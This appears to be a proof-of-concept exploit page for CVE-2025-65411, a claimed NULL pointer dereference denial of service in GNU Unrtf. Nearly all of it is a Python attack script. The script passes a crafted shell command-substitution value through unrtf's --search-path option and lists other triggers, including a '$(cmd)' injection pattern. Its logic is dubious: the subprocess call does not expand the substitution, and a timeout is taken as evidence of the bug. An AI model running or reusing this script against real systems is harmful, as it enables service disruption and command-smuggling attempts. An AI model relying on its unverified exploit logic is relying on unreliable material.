CVE-2025-65411: GNU Unrtf NULL指针解引用漏洞导致拒绝服务

#!/usr/bin/env python3 """ CVE-2025-65411 PoC - GNU Unrtf NULL Pointer Dereference This PoC demonstrates how a crafted search_path parameter can trigger NULL pointer dereference in src/path.c leading to DoS. """ import subprocess import sys import os def generate_malicious_payload(): """ Generate a malicious payload that triggers NULL pointer dereference The payload exploits the search_path parameter handling in path.c """ # Crafted payload that causes NULL pointer dereference # This payload contains special characters that lead to path resolution failure malicious_path = "$(echo 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')" return malicious_path def trigger_vulnerability(payload): """ Trigger the vulnerability using the malicious payload """ print(f"[*] Triggering CVE-2025-65411 with payload: {payload}") print("[*] This should cause Unrtf to crash with NULL pointer dereference\n") # Method 1: Via command line search_path parameter cmd = ["unrtf", f"--search-path={payload}", "test.rtf"] try: # Create a minimal RTF file if it doesn't exist if not os.path.exists("test.rtf"): with open("test.rtf", "w") as f: f.write("{\\rtf1 test}") result = subprocess.run(cmd, capture_output=True, timeout=5) print(f"[!] Process exited with code: {result.returncode}") except subprocess.TimeoutExpired: print("[+] Timeout - process hung (may indicate vulnerability)") except FileNotFoundError: print("[-] unrtf not found. Please install GNU Unrtf 0.21.10") except Exception as e: print(f"[-] Error: {e}") def main(): print("=" * 60) print("CVE-2025-65411 PoC - GNU Unrtf NULL Pointer Dereference") print("=" * 60) payload = generate_malicious_payload() trigger_vulnerability(payload) print("\n[*] Alternative trigger methods:") print(" 1. unrtf --search-path='$(cmd)' file.rtf") print(" 2. Export SEARCH_PATH='malicious_value' && unrtf file.rtf") print(" 3. Modify RTF file to reference external paths") if __name__ == "__main__": main()